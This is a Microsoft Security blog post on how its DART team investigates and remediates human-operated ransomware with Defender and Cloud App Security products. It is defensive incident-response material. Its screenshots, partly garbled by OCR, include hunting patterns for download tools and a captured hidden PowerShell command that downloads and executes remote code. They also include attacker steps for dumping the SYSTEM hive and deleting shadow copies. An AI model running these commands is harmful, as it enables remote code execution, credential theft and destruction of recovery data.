A guide to combatting human-operated ransomware: Part 1

microsoft.com/security/blog/2021/09/20/a-guide-to-combatting-human-operated-ransomware-part-1/

September 20, 2021



This blog is part one of a two-part series focused on how Microsoft DART helps customers with human-operated ransomware. For more guidance on human-operated ransomware and how to defend against these extortion-based attacks, refer to our <u>human-operated</u> <u>ransomware docs page</u>.

Microsoft's Detection and Response Team (DART) has helped customers of all sizes, across many industries and regions, investigate and remediate human-operated ransomware for over five years. This blog aims to explain the process and execution used in our customer engagements to provide perspective on the unique issues and challenges regarding human-operated ransomware. We will also discuss how DART leverages Microsoft solutions such as <u>Microsoft Defender for Endpoint</u>, <u>Microsoft Defender for Identity</u>, and <u>Microsoft Cloud App</u> <u>Security</u> (MCAS) within customer environments while collaborating with cross-functional threat intelligence teams across Microsoft who similarly track human-operated ransomware activities and behaviors.

Human-operated ransomware is not a malicious software problem—it's a human criminal problem. The solutions used to address commodity problems aren't enough to prevent a threat that more closely resembles a nation-state threat actor. It disables or uninstalls your antivirus software before encrypting files. They locate and corrupt or delete backups before sending a ransom demand. These actions are commonly done with legitimate programs that you might already have in your environment and are not considered malicious. In criminal hands, these tools are used maliciously to carry out attacks.

Responding to the increasing threat of ransomware requires a combination of modern enterprise configuration, up-to-date security products, and the vigilance of trained security staff to detect and respond to the threats before data is lost.

Key steps in DART's approach to conducting ransomware incident investigations

To maximize DART's efforts to restore business continuity while simultaneously analyzing the details of the incident, a careful and thorough investigation is coordinated with remediation measures to ensure that the root cause is determined. These efforts take place as we assist and advise customers with the task of getting the organization up and running again in a secure manner.

Every effort is made to determine how the adversary gained access to the customer's assets so that vulnerabilities can be remediated. Otherwise, it is highly likely that the same type of attack will take place again in the future. In some cases, the threat actor takes steps to "cover their tracks" and destroy evidence, so it is possible that the entire chain of events may not be evident.



The following are three key steps in our ransomware investigations:

Figure 1. Key steps in DART's ransomware investigations.

1. Assess the current situation

This is critical to understanding the scope of the incident and for determining the best people to assist and to plan and scope the investigation and remediation tasks. Asking these initial questions is crucial in helping us determine the situation being dealt with:

What initially made you aware of the ransomware attack?

If the initial threat was identified by IT staff (like noticing backups being deleted, antivirus (AV) alert, endpoint detection and response (EDR) alert, suspicious system changes), it is often possible to take quick decisive measures to thwart the attack, typically by disabling all inbound and outbound internet communication. This may temporarily affect business operations, but that would typically be much less impactful than an adversary deploying ransomware.

If the threat was identified by a user call to the IT helpdesk, there may be enough advance warning to take defensive measures to prevent or minimize the effects of the attack. If the threat was identified by an external entity (like law enforcement or a financial institution), it is likely that the damage is already done, and you will see evidence in your environment that the threat actor has already gained administrative control of your network. This can range from ransomware notes, locked screens, or ransom demands.

What date/time did you first learn of the incident?

Establishing the initial activity date and time is important because it helps narrow the scope of the initial triage for "quick wins." Additional questions may include:

- What updates were missing on that date? This is important to understand what vulnerabilities may have been exploited by the adversary.
- What accounts were used on that date?
- What new accounts have been created since that date?

What logs (such as AV, EDR, and VPN) are available, and is there any indication that the actor is currently accessing systems?

Logs are an indicator of suspected compromise. Follow-up questions may include:

- Are logs being aggregated in a SIEM (like <u>Microsoft Azure Sentinel</u>, Splunk, ArcSight) and current? What is the retention period of this data?
- Are there any suspected compromised systems that are experiencing unusual activity?
- Are there any suspected compromised accounts that appear to be actively used by the adversary?
- Is there any evidence of active command and controls (C2s) in EDR, Firewall, VPN, Proxy, and other logs?

As part of assessing the current situation, DART may require a domain controller (DC) that was not ransomed, a recent backup of a DC, or a recent DC taken offline for maintenance/upgrades. We also ask our customers whether <u>multifactor authentication</u> (MFA) was required for everyone in the company and if <u>Microsoft Azure Active Directory</u> was used.

2. Identify line-of-business (LOB) apps that are unavailable due to the incident

This step is critical in figuring out the quickest way to get systems back online while obtaining the evidence required.

Does the application require an identity?

- How is authentication performed?
- · How are credentials such as certificates or secrets stored and managed?

Are tested backups of the application, configuration, and data available?

Are the contents and integrity of backups regularly verified using a restore exercise? This is particularly important after configuration management changes or version upgrades.

3. Explain the compromise recovery (CR) process

This is a follow-up engagement that may be necessary if DART determines that the control plane (typically Active Directory) has been compromised.

DART's investigation always has a goal of providing output that feeds directly into the CR process. CR is the process by which we remove the nefarious attacker control from an environment and tactically increase security posture within a set period. CR takes place post-security breach. To learn more about CR, read the Microsoft Compromise Recovery Security Practice team's blog <u>CRSP: The emergency team fighting cyber attacks beside customers</u>.

Once we have gathered the responses to the questions above, we can build a list of tasks and assign owners. A key factor in a successful incident response engagement is thorough, detailed documentation of each work item (such as the owner, status, findings, date, and time), making the compilation of findings at the end of the engagement a straightforward process.

How DART leverages Microsoft security solutions to combat humanoperated ransomware

DART leverages cross-functional teams, such as internal threat intelligence teams, who track adversary activities and behaviors, customer support, and product development teams behind Microsoft products and services. DART also collaborates with other incident response vendors the customer may have engaged and will share findings whenever possible.

DART relies heavily on data for all investigations. The team uses existing deployments of Microsoft solutions, such as Defender for Endpoint, Defender for Identity, and MCAS within customer environments along with custom forensic data collection for additional analysis. If these sensors are not deployed, DART also requests that the customer deploy these to gain deeper visibility into the environment, correlate against threat intelligence sources, and enable our analysts to scale in speed and agility.

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint is Microsoft's enterprise endpoint security platform designed to help enterprise network security analysts prevent, detect, investigate, and respond to advanced threats. As shown in the image below, Defender for Endpoint can detect attacks using advanced behavioral analytics and machine learning. DART analysts use Defender for Endpoint for attacker behavioral analytics.

	Microsoft Defender Security Center	File	∼ Search Microsoft Defen	der for Endpoint	٩		34	•	? ©	8
=	Alerts > Pass-the-ticket attack									
0	Pass-the-ticket attack									
•	😑 janell-pc.mtpdemos.net	Kisk level 💵 High	,C, mtpdemos\stephanie.conre	y	Details Pass-the-tick	et attack				
\$ ©	Tata sensitivity Clenii Cac. Astroid Tata sensitivity High Demo Marvine High Risk J ALERT STORY	lser New york RemediationFull	Senior IT Services Engineer	Expand all	High New	😻 Link to another incid	lent 🞗 Assig	n to me		
63	∧ © (f) nitoskral.ese			~	Manage alert				^	
M	∧ — ⊕ [511] smis.exe			~	① Classify this ale	t	True alert	Fa	lse alert	11
াদ্রি এ	∧ Ø [020] smiss.exe 00000000 00000014		500 - S	~	Status	lew	~			
12	∧ ⊗ /15 wininit.exe		***	~	Classification	elect classification	~			
\$	∧ — © (848) services.exe			~	Alert details				^	-
5	CONTRACTOR DISAL STORE			^	Incident	Multi-stage incident in endpoints reported by 365 Defender)	volving Privileg multiple source	e escalation is (🖪 oper	n on multiple h in Microsof	r ft
407	Creation time Aug 14, 2021, 12:02112 AM Image file path CVW/rokes/FDXESVC base Image file SHA1 07:221090-560320570011453/bit Image file SHA1 07:221090-560320570011453/bit	36925eaes0e7 🖸			Detection source Detection	EDR Behavioral				
	Line cubin details Line referation: Leftern elevation: Leftern lefterlit, Integrite) Mittre techniques IDVAUUZ: territoria technicity: 110 Signar VinutTotal ratio IV/v ID	ievel: System (D) 21.002: SMB/Windows Admin Shares ; 11570:	Lateral loof transfer		Detection status Category First activity	Detected CredentialAccess Aug 14, 2021, 12,03-12	AM			
				~	Last activity Generated on	Aug 14, 2021, 12:03:12 Aug 14, 2021, 12:04:25	AM AM			
	PE metadata (*) PSEXESVC.exe			× _	Assigned to	(Unassigned)				
	Suspicious service launched	-	Medium 🔹 New 💿 Detected		Alert description				~	
	C PSLXLSVC.exe was dropped remotely from 172.16.0 Mitra tachniques T1051.000; SM/Wildows A Bunche Sume ACMIN:	419 and executed dmin Shares (T1576: Lateral Tool Transfer		^	A kirbi file, a known users credentials, wa	file extension for Kerberg s observed being created	os tickets contai I on the machin	ning loo l e. T ⑦ 1	Need help?	

Figure 2. Sample alert in Microsoft Defender for Endpoint for a pass-the-ticket attack.

DART analysts can also perform advanced hunting queries to pivot off indicators of compromise (IOCs) or search for known behavior if a threat actor group is identified.

	Microsoft Defender Security Center	File V Search Microsoft Defender for Endpoint	P	* 🖶 ? 😄 😵
≣	Advanced hunting		Inspect record	$\uparrow ~ \downarrow ~ \times$
-	es Schema	① To migrate your custom detection rules to Microsoft 365 Defender, edit them in Microsoft 365 security center.		
ж д	> DeviceAlertEvents	New DeviceTvmSoftwareVulnerabilities and DeviceTvmSoftwareInventory tables have replaced the DeviceTvmSoftwareInventor Read more in our announcement blog.	[] Take actions	
_	> 🕤 DeviceInfo	Get started PowerShell downloads	Assets	^
5	> [] DeviceProcessEvents			
٩	> DeviceNetworkEvents	Run query Thew El Save V Let Share link	Machine	Risk Level Paposure Level
Le.	> [*] DeviceFileEvents	 // Finds PowerShell execution events that could involve a download. DeviceDecessEvents 	in annetteh-pc	High 🛆 High
10	> DeviceRegistryEvents	3 where FileName in~ ("powershell.exe", "powershell_ise.exe")	4	
ĸ	DeviceLogonEvents	s or ProcessCommandLine has "Not Modulient"	Lisers	Investigation priority
°G	> C) DevicemageConditions	 or ProcessCommandLine has "Invoke-WebRequest" or ProcessCommandLine has "Invoke-Shellcode" 	Q annette.hill	A 340
	> DeviceFileCertificateInfo	8 or ProcessCommandLine has "http" 9 or ProcessCommandLine has "IEX"		
窒	Threat & Vulnerability Management	10 or ProcessCommandLine has "Start-BitsTransfer" 11 or ProcessCommandLine has "mocndrum.exe"	4	•
63	> 🗇 DeviceTvmSoftwareVulnerabilities	12		
~	> [*] DeviceTvmSoftwareInventory		Process tree	^
Ť	> 🔁 DeviceTvmSoftwareVulnerabilitiesKB		nrotocolhandler.exe	
5-2	> DeviceTvmSecureConfigurationAssessment		WINWORD.EXE V	
63	> Device twinsecureConfigurationAssessment	_	i 🛞 powershell.exe 🔨	
		⊥ Export Export	Process name	Aug 12 2021 11:44:29 897 PM
	f≈ Functions ^ >_fx FileProfile	Tinistamp i Devletid i Devletivane i Acte	Path	C:\Windows\System32\WindowsPowerShell\v1. D\powershell.exe
	$> f_X$ Assigned PAddresses	🕏 W13/2021 2J/4632 📋 0239466791c29e8db23Jabc0d5bc4Je36b26ae15 🖬 📋 annetteh-pc.mtpdemos.net 🖬 Pioc	Integrity level	Medium
	> fx DeviceFromIP		Access privileges (UAC)	Restricted
			Process ID	5012
	Queries		Command line	powershellW Hidden -Exec Bypass Invoke-Expression (INew-Object System.Net WebClient) DownloadStri ng'https://holassets.blob.come.winde winet/backloadesO
	✓ Campaigns		File name	powershell.exe
	Collection Command and Control		Full path	C:\Windows\System32\WindowsPowerShell\v1. D\powershell.exe
	()		201A4	1 1 -

Figure 3. Advanced hunting queries to locate known attacker behavior.

In Defender for Endpoint, customers have access to a real-time expert-level monitoring and analysis service by Microsoft Threat Experts for ongoing suspected actor activity. Customers can also collaborate with <u>experts on demand</u> for additional insights into alerts and incidents.

	Microsoft Defender Security Center			Device	✓ Search Microsoft Department of the search of the sea	sfander for Endpoint	P		ተለት	¢	?	۵	8
≡	Alerts > Ransomware activity of	letected on 4 devices											
Θ	Ransomware activity	detected on 4 device	5										
۴							Details						
д	HOST01 Risk level === No knowe risks	··· ℜ HOST01\administrator ···					Ransomwar	e activity detected	on 4 devi	es			
5	ALERT STORY					Expand all	High Re	solved					
0	What happened					*	📆 Saa in timaline	😵 Link to another incider	nt 🔒 Assign to	ma ··			
	Executive summary						Manage alert					^	Ĩ
晤, 쇼	Executive summary Merosoft Trives Topota are tracking a threat in your environment related to revolvence at ethic on a devices. These behaviors may have resulted in predential dumping, Isuanderd commends via Windows Management Instrumentation (WMI), lending commends via Prove SMI (device at an generated at the to an a frost system, sale bothble to partie on systems, disable searching to execut to allow performance and are systems, disable searching to the releasing to the system at the grant system, and and a security tool, second taken with the system at the commend size of an account to allow performance and are a progen to a statup lived or releasing to the flags system at the grant system, and the space in the system at the grant system.							Resolved True alert	× ×				
ra	gain. Take immediate action in response t	to this threat, and we will send a follow-up	lert if there are any updates.					Markary	Ť				
÷	Timeline of observed events						Alert details					^	
5	Cate/Time Notes						Incident	Microsoft Threat Experts	found Multi-stag	e inciden	t involvin	0	
	2021-05- 06112:20.54.6752 T1003: 0	05 Credential Dumping mimikatz.exe load	ed cryptdll.dll library					R open in Microsoft 365	Defender)	vare on n	nuicpie ei	oponia	` .
8	2021.05						Detection source	Threat Experts Repsonwere					
	06T12:20.59.968Z	exe process executed command: ladagne.e	ke all				Techniques	T1003: OS Credential Du	mping				
	2021-05- 11008: 0 06T12:21:02.646Z <user< th=""><th>05 Credential Dumping cmd.exe process e NAME>\appdata\jocaf\temp\4\jgnyhudf</th><th>xecuted command: regieve sav</th><th>e hkim\system c\use</th><th>ers)</th><th></th><th></th><th>T1136: Create Account T1043: Commonly Used I T1087: Account Discover</th><th>Port</th><th></th><th></th><th></th><th></th></user<>	05 Credential Dumping cmd.exe process e NAME>\appdata\jocaf\temp\4\jgnyhudf	xecuted command: regieve sav	e hkim\system c\use	ers)			T1136: Create Account T1043: Commonly Used I T1087: Account Discover	Port				
	2021-05- 06T1231:33:4227 (1490:1	nhibit System Recovery cmd.exe process (ecuted command, while SHA	DOWCOPY DELETE				T1105: Ingress Tool Trans 11486: Data Encrypted fo T1490: Inhibit System Re T1119: Automated Collec	fer or Impact covery :tion				
	Impacted device(s)							T1219: Remote Access Sc T1047: Windows Menage T1047: Le St	oftware ament instrument	ation 6	D Need	help?	~ ,

Figure 4. Defender for Endpoint shows detailed ransomware activity.

Microsoft Defender for Identity

DART leverages Microsoft Defender for Identity to investigate known compromised accounts and to find potentially compromised accounts in your organization. Defender for Identity sends alerts for known malicious activity that actors often use such as DCSync attacks, remote code execution attempts, and pass-the-hash attacks. Defender for Identity enables our team to pinpoint nefarious activity and accounts to narrow down our investigation.

Alerts										
↓ Export 1 Wee	k ∽ 🖉 Manage alerts								🗔 Custom	ize columns 🛛 🏹 Filter
Filters: Service sou	rces: Microsoft Defender for Identit	ty \times								
Alert name		Tags	Severity	Investigation state	Status	Category	Detection source	Impacted assets	First activity	Last activity \downarrow
Security prir	cipal reconnaissance (LDAP)		Medium	Unsupported OS	 Resolved 	Discovery	MDI	☐ HOST01	Aug 15, 2021 2:45 AM	Aug 15, 2021 2:48 AM
Remote cod	e execution attempt		Medium	Unsupported alert type	 Resolved 	Execution	MDI	□ 3 Hosts	Aug 13, 2021 9:32 AM	Aug 14, 2021 9:12 AM
Security prir	cipal reconnaissance (LDAP)		Medium		 Resolved 	Discovery	MDI	HOST02	Aug 12, 2021 8:18 PM	Aug 13, 2021 5:03 PM
User and gro	oup membership reconnaissance		Medium		 Resolved 	Discovery	MDI	⊟ HOSTO3 ႙ 5 Acc.	Aug 12, 2021 9:26 PM	Aug 12, 2021 9:28 PM
Suspicious a	dditions to sensitive groups		Medium	Unsupported alert type	 Resolved 	Persistence	MDI	프 HOST04 옷 2 Acc.	Aug 10, 2021 11:41 PM	Aug 10, 2021 11:41 PM

Figure 5. Defender for Identity sends alerts for known malicious activity related to ransomware attacks.

Microsoft Cloud App Security

MCAS allows DART analysts to detect unusual behavior across cloud apps to identify ransomware, compromised users, or rogue applications. MCAS is Microsoft's cloud access security broker (CASB) solution that allows for monitoring of cloud services and data access in cloud services by users.

Dash	board
------	-------

Filter by app: All apps V	Discovered apps	Top users to investigate
7 open alerts Over the last 30 days	Do discovered apps Over the last 30 days Updated on Aug 15, 2021, 157 PM	1000+ users to investigate Investigation priority is calculated by the user's alerts and activities over the past 7 days Top users to investigate:
	View all discovered apps	Name Investigation priority score
		IEFF LEATHERMAN
Low severity Medium severity High severity		MIKE JONES 176
Recent alerts:		JOHN WOOD 171
Alert Date		JIM BOB 166
HVT Login from Non-Corporate Aug 16, 2021		KAREN SMITH 146
Impossible travel activity Aug 16, 2021		HELP DESK 138
Risky sign-in: Unfamiliar sign-i Aug 16, 2021		
View all alerts		View all users to investigate

Figure 6. The Microsoft Cloud App Security dashboard allows DART analysis to detect unusual behavior across cloud apps.

Microsoft Secure Score

The Microsoft 365 Defender stack provides live remediation recommendations to reduce the attack surface. <u>Microsoft Secure Score</u> is a measurement of an organization's security posture, with a higher number indicating more improvement actions taken. Refer to <u>our</u> <u>documentation</u> to find out more about how your organization can leverage this feature to prioritize remediation actions that are based on their environment.

Understand your business risks

Beyond the immediate risk of encrypted files, understanding the disruption to business operations, data theft, extortion, follow-on attacks, regulatory and compliance reporting, and damage to reputation fall outside technical controls. Microsoft DART recommends each organization weigh these risks when determining the appropriate way to respond based on the organization's policies, risk appetite, and applicable regulatory requirements.

Microsoft Defender for Endpoint, Microsoft Defender for Identity, and MCAS all work seamlessly together to provide customers with enhanced visibility of the attacker's actions within and investigate attacks. Given our vast experience and expertise in investigating countless human-operated ransomware events over the past few years, we have shared what we consider best practices.

Learn more

Want to learn more about DART? Read our past blog posts.

To learn more about Microsoft Security solutions, <u>visit our website</u>. Bookmark the <u>Security</u> <u>blog</u> to keep up with our expert coverage on security matters. Also, follow us at <u>@MSFTSecurity</u> for the latest news and updates on cybersecurity.